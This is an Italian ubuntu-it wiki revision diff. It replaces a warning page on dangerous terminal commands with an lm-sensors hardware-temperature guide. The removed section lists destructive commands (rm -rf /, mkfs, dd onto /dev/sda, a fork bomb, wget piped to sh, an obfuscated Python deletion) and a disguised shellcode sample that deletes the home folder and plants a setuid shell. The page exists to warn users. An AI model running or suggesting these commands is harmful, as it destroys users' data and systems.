Dimensione: 7660
Commento:
|
Dimensione: 15526
Commento:
|
Le cancellazioni sono segnalate in questo modo. | Le aggiunte sono segnalate in questo modo. |
Linea 1: | Linea 1: |
## page was renamed from ComandiDannosi | ## page was renamed from LmSensors |
Linea 5: | Linea 5: |
<<Indice(width=2)>> <<Informazioni(forum=http://forum.ubuntu-it.org/viewtopic.php?f=46&t=619925&p)>> |
<<Include(NuoviStrumentiWiki/PaginaDiProva)>> <<Indice>> <<Informazioni(forum="http://forum.ubuntu-it.org/viewtopic.php?f=46&t=528977"; rilasci="22.04 20.04 18.04 16.04 14.04 12.04")>> |
Linea 10: | Linea 11: |
A scopo puramente didattico e illustrativo, questa guida raccoglie una lista non esaustiva di comandi potenzialmente pericolosi. Si raccomanda particolare prudenza in caso sia necessario eseguire alcuni dei comandi elencati di seguito. <<BR>>Si ricorda che è possibile eseguire in tutta sicurezza comandi potenzialmente dannosi, a scopo di test, all'interno di [[Virtualizzazione|macchine virtuali]] (si consiglia comunque di scollegare eventuali periferiche di memoria condivise dai sistemi ''guest'' e ''host''). ||<tablestyle="text-align: justify; width:60%;" style="border:none;" 5%><<Immagine(Icone/Grandi/info.png,,center)>> ||<style="padding:0.5em; border:none;">In caso di dubbi consultare le guide elencate nel paragrafo [[#risorse|Ulteriori Risorse]], oppure rivolgersi ai [[http://www.ubuntu-it.org/supporto|canali di supporto]]. || ||<tablestyle="text-align: justify; width:600%;" style="border:none;" 5%><<Immagine(Icone/Piccole/warning.png,,center)>> ||<style="padding:0.5em; border:none;">'''Suggerire immotivatamente l'esecuzione di comandi pericolosi ad altri utenti nei [[http://www.ubuntu-it.org/supporto|canali di supporto]] comporta sanzioni da parte dei moderatori e degli amministratori, finanche il ban e l'esclusione permanente dell'account.''' || = Comandi da terminale = <<Anchor(rm)>> == Rimozione: rm == * I seguenti comandi cancellano rispettivamente tutti i file, la cartella corrente e i file visibili all'interno della cartella corrente: {{{ rm -rf / rm -rf . rm -rf * }}} * Qualora si volessero eliminare solamente file nascosti (che hanno primo carattere del nome «`.`», ovvero un punto) il comando {{{ rm -r .* }}} potrebbe provocare risultati inattesi. Infatti, effettuando la scansione della cartella corrente, troverebbe anche l'occorrenza `..` che si riferisce alla cartella di livello superiore. * Al contrario del comando precedente, il seguente comando elimina solo i file nascosti contenuti nella cartella corrente: {{{ rm -r .[^.]* }}} <<Anchor(mkfs)>> == Formattazione: mkfs == Il comando '''mkfs''' viene utilizzato per formattare supporti di memoria, causando la distruzione di tutti i dati, rimpiazzandoli con un nuovo [[https://it.wikipedia.org/wiki/File_system|filesystem]]. Di seguito è riportato un esempio di come si possa formattare una partizione con filesystem `ext4`, o una partizione in base al suo nome (viene preso come esempio il primo dispositivo `/dev/sda1`). {{{ mkfs mkfs.ext4 mkfs.ext4 /dev/sda1 }}} <<Anchor(dd)>> == Copia di blocchi di dati: dd == Utilizzando il comando '''dd''' con i [[AmministrazioneSistema/Sudo|privilegi di amministrazione]] e determinati parametri, si può incorrere nella totale perdita dei dati contenuti in un intero dispositivo (incluse quindi eventuali altre partizioni e l'[[https://it.wikipedia.org/wiki/Master_boot_record|MBR]]). Ad esempio, dove i parametri `if` e `of` rappresentano rispettivamente i dati da inserire e il dispositivo di destinazione: * `dd if=/dev/zero of=/dev/sda`: riempie il dispositivo con una sequenza di zeri; * `dd if=/dev/null of=/dev/sda`: riempie il dispositivo con una sequenza di dati nulli (non memorizzati); * `dd if=/dev/random of=/dev/sda`: riempie il dispositivo con una sequenza di dati casuali. <<Anchor(fork)>> == Utilizzo sconsiderato di fork() == L'utilizzo del comando di sistema '''fork''' permette la creazione di un processo "figlio" avente le stesse caratteristiche del padre. Lanciare però un numero enorme di processi "figli" può causare il blocco del sistema, obbligando l'utente al riavvio forzato con possibile corruzione o danneggiamento dei dati presenti su disco. Alcuni comandi che possono causare tale fenomeno sono: {{{ :(){:|&};: }}} oppure (utilizzando il linguaggio di programmazione [[https://it.wikipedia.org/wiki/Perl|perl]]):{{{ fork while fork }}} <<Anchor(script)>> == Esecuzione script == L'esecuzione di [[Programmazione/Script|script]] all'interno di un [[AmministrazioneSistema/Terminale|terminale]] può essere pericolosa poiché questi possono contenere al loro interno comandi potenzialmente dannosi o non desiderati. Si raccomanda pertanto di eseguire script suggeriti da fonti fidate. Nei seguenti esempi vengono riportati comandi che scaricano ed eseguono un ipotetico [[Programmazione/LinguaggioBash|script in bash]] «`prova.sh`» da un ipotetico indirizzo «`http://sito_internet`»:{{{ wget http://sito_internet/prova.sh sh ./prova.sh }}} {{{ wget http://sito_internet/prova.sh -O- | sh }}} <<Anchor(sorgente)>> = Compilazione codice sorgente = È potenzialmente possibile nascondere del codice pericoloso (o addirittura maligno) all'interno all'interno di [[https://it.wikipedia.org/wiki/Codice_sorgente|sorgenti]] di dimensioni considerevoli. Pertanto si raccomanda di eseguire, compilare e modificare codici provenienti solo da fonti ritenute attendibili (ad esempio piattaforme di distribuzione dove il codice sia consultabile in maniera libera e facile da qualsiasi utente, quali [[https://launchpad.net/|Launchpad]], [[http://sourceforge.net|SourceForge]], [[https://github.com/|GitHub]] ecc.). Un esempio di codice pericoloso è il seguente: {{{ char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;"; }}} Apparso all'interno di una [[http://seclists.org/fulldisclosure/2007/Aug/0071.html|mailing list]] come dimostrazione di [[https://it.wikipedia.org/wiki/Exploit|exploit]] da eseguire con i [[AmministrazioneSistema/Sudo|privilegi di amministrazione]], l'esempio precedente sembra in apparenza un codice affatto pericoloso, per quanto poco comprensibile. In realtà esegue il comando {{{ rm -rf ~ / & }}} che distrugge la cartella '''Home''' dell'utente che ha esegue il codice compilato. = Archivi = Alcuni [[AmministrazioneSistema/FormatiDiCompressione|archivi]] possono provocare spiacevoli inconvenienti e causare danni al sistema, come illustrato nel [[AmministrazioneSistema/FormatiDiCompressione#tar|paragrafo dedicato ai file `.tar`]]. = Altri esempi = L'esecuzione del seguente comando in [[Programmazione/Python|Python]] per una durata di circa 30 secondi ha un effetto disastroso sui file del proprio hard disk: {{{ python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))' }}} Infatti la sintassi `"sn!.sg!+"` sta ad indicare `rm -rf *`, comando a cui è dedicato il relativo [[#rm|paragrafo]]. <<Anchor(risorse)>> |
In questa guida contiene una raccolta, non esaustiva, di strumenti strumenti per monitorare le temperature dei dispositivi hardware presenti proprio computer, nonché altri valori (tensioni, velocità delle ventole ecc.). Le seguenti informazioni sono valide per Ubuntu e derivate, oltre che per le principali distribuzioni GNU/Linux. {{{#!wiki note Le informazioni e i sensori disponibili dipendono dal tipo di hardware in uso.}}} = Informazioni generali = Solitamente i sistemi GNU/Linux permettono di controllare e gestire ampiamente le risorse hardware, ragion per cui sono già presenti "''out of the box''" strumenti per visualizzare le temperature. Nel dettaglio, la directory '''[[AmministrazioneSistema/Filesystem#A.2Fsys|/sys]]''' contiene moltissimi dati relativi al kernel, ai moduli e all'hardware. In particolare `/sys/class/thermal` è deputata alle informazioni riguardanti le temperature. Perciò è possibile consultare file quali: * `/sys/class/thermal/thermal_zone0/temp` contenente la temperatura della CPU, espressa in gradi Celsius tramite numeri interi divisibili per 100 (es: 36000 = 36°C) * `/sys/class/thermal/thermal_zone0/type` contenente il valore corrispondente alla zona in cui la temperatura è rilevata (un esempio tipico è il sensore '''acpitz''', situato accanto il socket della CPU) Per semplificare e rendere facilmente consultabili queste informazioni, è possibile creare un semplice [[Programmazione/Script|script]] che contenga il seguente comando:{{{ paste <(cat /sys/class/thermal/thermal_zone*/type) <(cat /sys/class/thermal/thermal_zone*/temp) | column -s $'\t' -t | sed 's/\(.\)..$/.\1°C/' }}} L'output sarà simile al seguente:{{{ acpitz 38.0°C acpitz . °C acpitz 30.0°C acpitz 32.0°C acpitz 31.0°C acpitz . °C pch_skylake 36.5°C iwlwifi_1 33.0°C x86_pkg_temp 38.0°C }}} = Riga di comando = == acpi == '''acpi''' è uno strumento per visualizzare lo stato della batteria e altre informazioni [[https://it.wikipedia.org/wiki/Advanced_Configuration_and_Power_Interface|ACPI]], in grado di mostrare le temperature del PC. 0. [[AmministrazioneSistema/InstallareProgrammi|installare]] il pacchetto [[apt://acpi|acpi]]. 0. Per eseguire il programma digitare nel [[AmministrazioneSistema/Terminale|terminale]] il comando:{{{ acpi -t }}} Il risultato sarà simile al seguente:{{{ Thermal 0: ok, 30.8 degrees C Thermal 1: ok, 29.8 degrees C }}} == lm-sensors == '''lm-sensors''' è uno strumento più completo, a linea di comando, in grado di mostrare temperatura della/e CPU, della MOBO, della GPU, la velocità di rotazione delle ventole e le tensioni di alimentazione dei componenti principali. {{{#!wiki important In PC con schede madri __AM2RD790__, è noto che l'utilizzo di ''lm-sensors'' può provocare dei gravi danni. }}} === Installazione === 0. [[AmministrazioneSistema/InstallareProgrammi|Installare]] il pacchetto [[apt://lm-sensors|lm-sensors]]. 0. Facoltativo: [[AmministrazioneSistema/InstallareProgrammi|installare]] in aggiunta il pacchetto [[apt://fancontrol|fancontrol]], per gestire le ventole secondo le istruzioni indicate in [[#ventole|questo paragrafo]]. 0. Digitare nel [[AmministrazioneSistema/Terminale|terminale]] il comando:{{{ sudo sensors-detect }}} 0. Seguendo le istruzioni a video, rispondere '''Yes''' alle domande che verranno proposte, ad esclusione della domanda riguardante '''I2C/SMBus''' alla quale si dovrà rispondere '''No'''. {{{#!wiki note In caso di errore, è possibile ripetere la procedura e rispondere '''Yes''' alla domanda precedente. }}} 0. Al termine della procedura, lo script restituirà un output simile al seguente:{{{ Driver `coretemp': * Chip `Intel digital thermal sensor' (confidence: 9) To load everything that is needed, add this to /etc/modules: #----cut here---- # Chip drivers coretemp #----cut here---- If you have some drivers built into your kernel, the list above will contain too many modules. Skip the appropriate ones! Do you want to add these lines automatically to /etc/modules? (yes/NO) }}} Rispondere '''Yes''' anche a quest'ultima domanda, in modo che i moduli necessari vengano caricati al prossimo avvio del computer. 0. Riavviare il PC. Prima dell'ultimo passaggio, è possibile eseguire la procedura con alcune variazioni, fra cui: * '''Modulo drivetemp''': per aggiungere questo modulo al fine di visualizzare le temperature di HDD e SSD (utile per Ubuntu 22.04, in cui non è disponibile '''[[#hddtemp|hddtemp]]'''), digitare il comando:{{{ sudo modprobe -v drivetemp }}} * '''Procedura senza riavvio''': qualora non fosse possibile riavviare il sistema, caricare tutti i moduli necessari (come suggerito anche da '''lm-sensors''') con il comando:{{{ /etc/init.d/kmod start }}} oppure caricare singolarmente i moduli con il comando: {{{ sudo modprobe nome_modulo }}} sostituendo `nome_modulo` con uno dei moduli visualizzati dopo il punto 5 della procedura. Ripetere il comando precedente per ognuno dei moduli indicati. === Utilizzo === 0. Avviare il programma digitando il seguente comando: {{{ sensors}}} Il risultato sarà simile al seguente: {{{ k8temp-pci-00c3 Adapter: PCI adapter Core0 Temp: +23°C Core1 Temp: +19°C it8716-isa-0290 Adapter: ISA adapter VCore: +1.18 V (min = +0.00 V, max = +4.08 V) VDDR: +3.25 V (min = +0.00 V, max = +4.08 V) +3.3V: +0.00 V (min = +0.00 V, max = +4.08 V) ALARM +5V: +4.81 V (min = +0.00 V, max = +6.85 V) +12V: +11.58 V (min = +0.00 V, max = +16.32 V) in5: +0.00 V (min = +0.00 V, max = +4.08 V) ALARM in6: +0.00 V (min = +0.00 V, max = +4.08 V) ALARM 5VSB: +4.84 V (min = +0.00 V, max = +6.85 V) VBat: +2.94 V fan1: 0 RPM (min = 0 RPM) fan2: 0 RPM (min = 0 RPM) fan3: 0 RPM (min = 0 RPM) temp1: +30°C (low = -1°C, high = +127°C) sensor = diode temp2: +30°C (low = -1°C, high = +127°C) sensor = thermistor temp3: -7°C (low = -1°C, high = +127°C) sensor = thermistor vid: +1.300 V acpitz-virtual-0 Adapter: Virtual device temp1: +49.0°C (crit = +95.0°C) coretemp-isa-0000 Adapter: ISA adapter Core 0: +59.0°C (crit = +100.0°C) coretemp-isa-0001 Adapter: ISA adapter Core 1: +57.0°C (crit = +100.0°C) }}} <<Anchor(hddtemp)>> == hddtemp == È uno strumento a linea di comando per visualizzare le temperature di dischi rigidi e drive a stato solido SATA. {{{#!wiki note Poiché non mantenuto più da tempo, è stato rimosso dai repository di Ubuntu. Per maggiori informazioni consultare [[https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1002484|questa pagina]]. }}} 0. Solo su Ubuntu 22.04 e successivi, digitare nel [[AmministrazioneSistema/Terminale|terminale]] il seguente comando:{{{ sudo add-apt-repository ppa:malcscott/ppa }}} 0. [[AmministrazioneSistema/InstallareProgrammi|Installare]] il pacchetto [[apt://hddtemp|hddtemp]]. Per utilizzare il programma digitare il comando: {{{ sudo hddtemp /dev/sd? }}} L'output sarà simile al seguente: {{{ /dev/sda: WDC WD1600BEVT-22ZCT0: 42°C /dev/sdb: MAXTOR STM3320820AS: S.M.A.R.T. not available }}} == nvme-cli == '''nvme-cli''' è uno strumento per gestire drive di tipo [[https://en.wikipedia.org/wiki/NVM_Express|NVMe]] su sistemi GNU/Linux. 0. [[AmministrazioneSistema/InstallareProgrammi|Installare]] il pacchetto [[apt://nvme-cli|nvme-cli]]. 0. Per identificare i drive presenti digitare, digitare nel [[AmministrazioneSistema/Terminale|terminale]] il comando:{{{ sudo nvme list }}} L'output mostrerà le informazioni relative al dispositivo (modello, numero seriale, spazio utilizzato ecc.). Prendere nota del valore nella colonna `Node`. 0. Digitare il comando:{{{ sudo nvme smart-log /dev/nvme0n1 | grep temperature }}} sostituendo `/dev/nvme0n1` se differente. L'output sarà simile al seguente:{{{ temperature : 34 C (308 Kelvin) }}} == HardInfo == Per l'installazione consultare il relativo [[#hardinfo|paragrafo]]. Per l'utilizzo del programma via terminale, digitare il comando:{{{ hardinfo -rma devices.so | grep -A 10 Sensors }}} {{{#!wiki note A seconda delle periferiche presenti nel computer e/o della loro tipologia, potrebbe essere necessario utilizzare l'opzione di '''grep''' con un valore superiore a 10 (ad esempio 40, 50 ecc.). }}} = Interfaccia grafica = == Psensor == '''Psensor''' permette di monitorare, oltre alle temperature, altre informazioni quali la velocità delle ventole, carico di CPU/GPU ecc. 0. [[AmministrazioneSistema/InstallareProgrammi|Installare]] il pacchetto [[apt://psensor|psensor]]. 0. [[AmbienteGrafico/AvviareProgrammi|Avviare]] '''Psensor'''. 0. Nella colonna '''Grafico''' spuntare i sensori che si desidera monitorare. 0. Per altre configurazioni selezionare il menu '''''Psensor → Preferenze'''''. <<Anchor(hardinfo)>> == HardInfo == '''!HardInfo''' è in grado di visualizzare numerose informazioni sull'hardware e sul sistema operativo, di elencare dispositivi connessi, di eseguire benchmarks ecc. 0. [[AmministrazioneSistema/InstallareProgrammi|Installare]] il pacchetto [[apt://psensor|psensor]]. 0. [[AmbienteGrafico/AvviareProgrammi|Avviare]] '''System profiler and benchmark'''. 0. Per il monitoraggio delle temperature nella scheda si sinistra selezionare '''Sensors''' all'interno della sezione '''Devices'''. == Gnome Disks Utility == L'applicazione '''Dischi''' è in grado di visualizzare le temperature dei drive presenti all'interno del PC, se supportati. Per maggiori informazioni consultare la [[Hardware/DispositiviPartizioni/GnomeDiskUtility|guida dedicata]]. == Plugin, indicatori, widget ecc. == Molti [[AmbienteGrafico|ambienti desktop]] offrono vari strumenti per monitorare le temperature. Di seguito ne vengono citati alcuni. * '''GNOME''': sono disponibili diverse [[AmbienteGrafico/Gnome/Estensioni|estensioni]] ('''Freon''', '''Sensory Perception''' ecc.). Cercare sul sito [[https://extensions.gnome.org|GNOME Extensions]] una compatibile con la versione di GNOME shell in uso. * '''KDE''': sono disponibili diverse applet per monitorare le temperature. Cercare su [[https://store.kde.org|questo sito]] una compatibile con la versione di Plasma in uso. * '''Xfce''': è possibile [[AmministrazioneSistema/InstallareProgrammi|installare]] il pacchetto [[apt://xfce4-sensors-plugin|xfce4-sensors-plugin]]. Fare riferimento alla [[http://goodies.xfce.org/projects/panel-plugins/xfce4-sensors-plugin|pagina ufficiale]] del progetto per maggiori informazioni. * '''Cinnamon''': sono disponibili diverse applet ed estensioni per monitorare le temperature. Cercare su [[https://cinnamon-spices.linuxmint.com/|questo sito]. == Conky == '''Conky''' è in grado di monitorare i sensori presenti sul proprio computer. Per maggiori informazioni consultare la [[AmbienteGrafico/Conky|guida dedicata]]. <<Anchor(ventole)>> = Controllo delle ventole = {{{#!wiki tip Prima di procedere con quanto descritto di seguito, è necessario installare il pacchetto ''fancontrol'' come descritto in [[#Installazione|questo paragrafo]].}}} Per controllare le ventole e la scheda madre, aprire un terminale e digitare il seguente comando: {{{ sudo pwmconfig }}} Le ventole verranno monitorate e sarà possibile modificarne la velocità. Nel caso in cui sia possibile il controllo totale, cioè fermare del tutto le ventole, è possibile creare un semplice script da lanciare all'avvio per un'ottimizzazione delle stesse. {{{#!wiki important L'arresto completo delle ventole può cagionare gravi danni termici sia direttamente al hardware, sia indirettamente al software ed i dati contenuti nei supporti d'archiviazione fissi. Procedere con molta cautela.}}} 0. Creare con un [[Ufficio/EditorDiTesto|editor di testo]] e con i [[AmministrazioneSistema/PrivilegiDiAmministrazione|privilegi di amministrazione]] il file `/etc/init.d/fancontrol` e aggiungere le seguenti righe: {{{ #!/bin/sh #!/bin/sh # # Fancontrol start script. # set -e # Defaults DAEMON=/usr/sbin/fancontrol PIDFILE=/var/run/fancontrol-pid PATH=/sbin:/bin:/usr/sbin:/usr/bin test -f $DAEMON || exit 0 . /lib/lsb/init-functions case "$1" in start) log_begin_msg "Starting fancontrol daemon..." start-stop-daemon --start -o -q -m -b -p $PIDFILE -x $DAEMON log_end_msg $? ;; stop) log_begin_msg "Stopping fancontrol daemon..." start-stop-daemon --stop -o -q -p $PIDFILE log_end_msg $? ;; force-reload|restart) sh $0 stop sh $0 start ;; *) log_success_msg "Usage: /etc/init.d/fancontrol {start|stop|restart|force-reload}" log_success_msg " start - starts system-wide fancontrol service" log_success_msg " stop - stops system-wide fancontrol service" log_success_msg " restart, force-reload - starts a new system-wide fancontrol service" exit 1 ;; esac exit 0 }}} 0. Rendere eseguibile lo script, digitando in una finestra di terminale il seguente comando: {{{ sudo chmod +x /etc/init.d/fancontrol }}} 0. Avviare lo script con il comando: {{{ /etc/init.d/fancontrol start }}} Per interromperlo invece, si può fare ricorso al comando: {{{ /etc/init.d/fancontrol stop }}} 0. Se l'output non restituisce nessun errore, aprire con un [[Ufficio/EditorDiTesto|editor di testo]] e con i [[AmministrazioneSistema/PrivilegiDiAmministrazione|privilegi di amministrazione]] il file `/etc/rc.local` e aggiungere la seguente riga: {{{ /etc/init.d/fancontrol start }}} in modo da ottenere qualcosa di simile al seguente esempio: {{{ #!/bin/sh #!/bin/sh -e # # rc.local # # This script is executed at the end of each multiuser runlevel. # Make sure that the script will "exit 0" on success or any other # value on error. # # In order to enable or disable this script just change the execution # bits. # # By default this script does nothing. /etc/init.d/fancontrol start exit 0 }}} |
Linea 120: | Linea 327: |
* [[AmministrazioneSistema/Terminale|Terminale]] * [[AmministrazioneSistema/ComandiBase|Comandi di base]] * [[AmministrazioneSistema/Filesystem|Filesystem]] * [[AmministrazioneSistema/PulireUbuntu|Pulizia del sistema]] * [[http://www.chimerarevo.com/linux/comandi-terminale-non-eseguire-linux-180510/|Articolo su comandi pericolosi da terminale]] |
## * [[http://www.lm-sensors.org|Sito ufficiale del progetto]] * [[https://github.com/lm-sensors/lm-sensors|GitHub lm-sensors]] * [[https://launchpad.net/lmsensors|Lm-sensors su Launchpad]] * [[http://doc.ubuntu-fr.org/lm-sensors|Lm-sensors su doc.ubuntu-fr.org]] * [[http://wiki.ubuntuusers.de/Lm_sensors|Lm-sensors su wiki.ubuntuusers.de]] * [[https://help.ubuntu.com/community/SensorInstallHowto|Lm-sensors sul wiki internazionale]] * [[Hardware/Periferiche/IdentificarePeriferiche|Identificare le periferiche]] |
Linea 127: | Linea 337: |
CategoryAmministrazione | #CategoryHardware CategoryAmministrazion CategoryHomepage |
Attenzione! Questa è una Pagina di prova. Le informazioni riportate potrebbero essere incomplete, errate e potenzialmente pericolose. Per contribuire alla realizzazione di questa pagina consultare la discussione di riferimento. |
Guida verificata con Ubuntu: 20.04 22.04
Problemi in questa pagina? Segnalali in questa discussione
Introduzione
In questa guida contiene una raccolta, non esaustiva, di strumenti strumenti per monitorare le temperature dei dispositivi hardware presenti proprio computer, nonché altri valori (tensioni, velocità delle ventole ecc.). Le seguenti informazioni sono valide per Ubuntu e derivate, oltre che per le principali distribuzioni GNU/Linux.
Le informazioni e i sensori disponibili dipendono dal tipo di hardware in uso.
Informazioni generali
Solitamente i sistemi GNU/Linux permettono di controllare e gestire ampiamente le risorse hardware, ragion per cui sono già presenti "out of the box" strumenti per visualizzare le temperature.
Nel dettaglio, la directory /sys contiene moltissimi dati relativi al kernel, ai moduli e all'hardware. In particolare /sys/class/thermal è deputata alle informazioni riguardanti le temperature. Perciò è possibile consultare file quali:
/sys/class/thermal/thermal_zone0/temp contenente la temperatura della CPU, espressa in gradi Celsius tramite numeri interi divisibili per 100 (es: 36000 = 36°C)
/sys/class/thermal/thermal_zone0/type contenente il valore corrispondente alla zona in cui la temperatura è rilevata (un esempio tipico è il sensore acpitz, situato accanto il socket della CPU)
Per semplificare e rendere facilmente consultabili queste informazioni, è possibile creare un semplice script che contenga il seguente comando:
paste <(cat /sys/class/thermal/thermal_zone*/type) <(cat /sys/class/thermal/thermal_zone*/temp) | column -s $'\t' -t | sed 's/\(.\)..$/.\1°C/'
L'output sarà simile al seguente:
acpitz 38.0°C acpitz . °C acpitz 30.0°C acpitz 32.0°C acpitz 31.0°C acpitz . °C pch_skylake 36.5°C iwlwifi_1 33.0°C x86_pkg_temp 38.0°C
Riga di comando
acpi
acpi è uno strumento per visualizzare lo stato della batteria e altre informazioni ACPI, in grado di mostrare le temperature del PC.
installare il pacchetto acpi.
Per eseguire il programma digitare nel terminale il comando:
acpi -t
Il risultato sarà simile al seguente:
Thermal 0: ok, 30.8 degrees C Thermal 1: ok, 29.8 degrees C
lm-sensors
lm-sensors è uno strumento più completo, a linea di comando, in grado di mostrare temperatura della/e CPU, della MOBO, della GPU, la velocità di rotazione delle ventole e le tensioni di alimentazione dei componenti principali.
In PC con schede madri AM2RD790, è noto che l'utilizzo di lm-sensors può provocare dei gravi danni.
Installazione
Installare il pacchetto lm-sensors.
Facoltativo: installare in aggiunta il pacchetto fancontrol, per gestire le ventole secondo le istruzioni indicate in questo paragrafo.
Digitare nel terminale il comando:
sudo sensors-detect
Seguendo le istruzioni a video, rispondere Yes alle domande che verranno proposte, ad esclusione della domanda riguardante I2C/SMBus alla quale si dovrà rispondere No.
In caso di errore, è possibile ripetere la procedura e rispondere Yes alla domanda precedente.
Al termine della procedura, lo script restituirà un output simile al seguente:
Driver `coretemp': * Chip `Intel digital thermal sensor' (confidence: 9) To load everything that is needed, add this to /etc/modules: #----cut here---- # Chip drivers coretemp #----cut here---- If you have some drivers built into your kernel, the list above will contain too many modules. Skip the appropriate ones! Do you want to add these lines automatically to /etc/modules? (yes/NO)
Rispondere Yes anche a quest'ultima domanda, in modo che i moduli necessari vengano caricati al prossimo avvio del computer.
- Riavviare il PC.
Prima dell'ultimo passaggio, è possibile eseguire la procedura con alcune variazioni, fra cui:
Modulo drivetemp: per aggiungere questo modulo al fine di visualizzare le temperature di HDD e SSD (utile per Ubuntu 22.04, in cui non è disponibile hddtemp), digitare il comando:
sudo modprobe -v drivetemp
Procedura senza riavvio: qualora non fosse possibile riavviare il sistema, caricare tutti i moduli necessari (come suggerito anche da lm-sensors) con il comando:
/etc/init.d/kmod start
oppure caricare singolarmente i moduli con il comando:
sudo modprobe nome_modulo
sostituendo nome_modulo con uno dei moduli visualizzati dopo il punto 5 della procedura. Ripetere il comando precedente per ognuno dei moduli indicati.
Utilizzo
Avviare il programma digitando il seguente comando:
sensors
Il risultato sarà simile al seguente:
k8temp-pci-00c3 Adapter: PCI adapter Core0 Temp: +23°C Core1 Temp: +19°C it8716-isa-0290 Adapter: ISA adapter VCore: +1.18 V (min = +0.00 V, max = +4.08 V) VDDR: +3.25 V (min = +0.00 V, max = +4.08 V) +3.3V: +0.00 V (min = +0.00 V, max = +4.08 V) ALARM +5V: +4.81 V (min = +0.00 V, max = +6.85 V) +12V: +11.58 V (min = +0.00 V, max = +16.32 V) in5: +0.00 V (min = +0.00 V, max = +4.08 V) ALARM in6: +0.00 V (min = +0.00 V, max = +4.08 V) ALARM 5VSB: +4.84 V (min = +0.00 V, max = +6.85 V) VBat: +2.94 V fan1: 0 RPM (min = 0 RPM) fan2: 0 RPM (min = 0 RPM) fan3: 0 RPM (min = 0 RPM) temp1: +30°C (low = -1°C, high = +127°C) sensor = diode temp2: +30°C (low = -1°C, high = +127°C) sensor = thermistor temp3: -7°C (low = -1°C, high = +127°C) sensor = thermistor vid: +1.300 V acpitz-virtual-0 Adapter: Virtual device temp1: +49.0°C (crit = +95.0°C) coretemp-isa-0000 Adapter: ISA adapter Core 0: +59.0°C (crit = +100.0°C) coretemp-isa-0001 Adapter: ISA adapter Core 1: +57.0°C (crit = +100.0°C)
hddtemp
È uno strumento a linea di comando per visualizzare le temperature di dischi rigidi e drive a stato solido SATA.
Poiché non mantenuto più da tempo, è stato rimosso dai repository di Ubuntu. Per maggiori informazioni consultare questa pagina.
Solo su Ubuntu 22.04 e successivi, digitare nel terminale il seguente comando:
sudo add-apt-repository ppa:malcscott/ppa
Installare il pacchetto hddtemp.
Per utilizzare il programma digitare il comando:
sudo hddtemp /dev/sd?
L'output sarà simile al seguente:
/dev/sda: WDC WD1600BEVT-22ZCT0: 42°C /dev/sdb: MAXTOR STM3320820AS: S.M.A.R.T. not available
nvme-cli
nvme-cli è uno strumento per gestire drive di tipo NVMe su sistemi GNU/Linux.
Installare il pacchetto nvme-cli.
Per identificare i drive presenti digitare, digitare nel terminale il comando:
sudo nvme list
L'output mostrerà le informazioni relative al dispositivo (modello, numero seriale, spazio utilizzato ecc.). Prendere nota del valore nella colonna Node.
Digitare il comando:
sudo nvme smart-log /dev/nvme0n1 | grep temperature
sostituendo /dev/nvme0n1 se differente. L'output sarà simile al seguente:
temperature : 34 C (308 Kelvin)
HardInfo
Per l'installazione consultare il relativo paragrafo.
Per l'utilizzo del programma via terminale, digitare il comando:
hardinfo -rma devices.so | grep -A 10 Sensors
A seconda delle periferiche presenti nel computer e/o della loro tipologia, potrebbe essere necessario utilizzare l'opzione di grep con un valore superiore a 10 (ad esempio 40, 50 ecc.).
Interfaccia grafica
Psensor
Psensor permette di monitorare, oltre alle temperature, altre informazioni quali la velocità delle ventole, carico di CPU/GPU ecc.
Installare il pacchetto psensor.
Avviare Psensor.
Nella colonna Grafico spuntare i sensori che si desidera monitorare.
Per altre configurazioni selezionare il menu Psensor → Preferenze.
HardInfo
HardInfo è in grado di visualizzare numerose informazioni sull'hardware e sul sistema operativo, di elencare dispositivi connessi, di eseguire benchmarks ecc.
Installare il pacchetto psensor.
Avviare System profiler and benchmark.
Per il monitoraggio delle temperature nella scheda si sinistra selezionare Sensors all'interno della sezione Devices.
Gnome Disks Utility
L'applicazione Dischi è in grado di visualizzare le temperature dei drive presenti all'interno del PC, se supportati. Per maggiori informazioni consultare la guida dedicata.
Plugin, indicatori, widget ecc.
Molti ambienti desktop offrono vari strumenti per monitorare le temperature. Di seguito ne vengono citati alcuni.
GNOME: sono disponibili diverse estensioni (Freon, Sensory Perception ecc.). Cercare sul sito GNOME Extensions una compatibile con la versione di GNOME shell in uso.
KDE: sono disponibili diverse applet per monitorare le temperature. Cercare su questo sito una compatibile con la versione di Plasma in uso.
Xfce: è possibile installare il pacchetto xfce4-sensors-plugin. Fare riferimento alla pagina ufficiale del progetto per maggiori informazioni.
Cinnamon: sono disponibili diverse applet ed estensioni per monitorare le temperature. Cercare su [[https://cinnamon-spices.linuxmint.com/|questo sito].
Conky
Conky è in grado di monitorare i sensori presenti sul proprio computer. Per maggiori informazioni consultare la guida dedicata.
Controllo delle ventole
Prima di procedere con quanto descritto di seguito, è necessario installare il pacchetto fancontrol come descritto in questo paragrafo.
Per controllare le ventole e la scheda madre, aprire un terminale e digitare il seguente comando:
sudo pwmconfig
Le ventole verranno monitorate e sarà possibile modificarne la velocità. Nel caso in cui sia possibile il controllo totale, cioè fermare del tutto le ventole, è possibile creare un semplice script da lanciare all'avvio per un'ottimizzazione delle stesse.
L'arresto completo delle ventole può cagionare gravi danni termici sia direttamente al hardware, sia indirettamente al software ed i dati contenuti nei supporti d'archiviazione fissi. Procedere con molta cautela.
Creare con un editor di testo e con i privilegi di amministrazione il file /etc/init.d/fancontrol e aggiungere le seguenti righe:
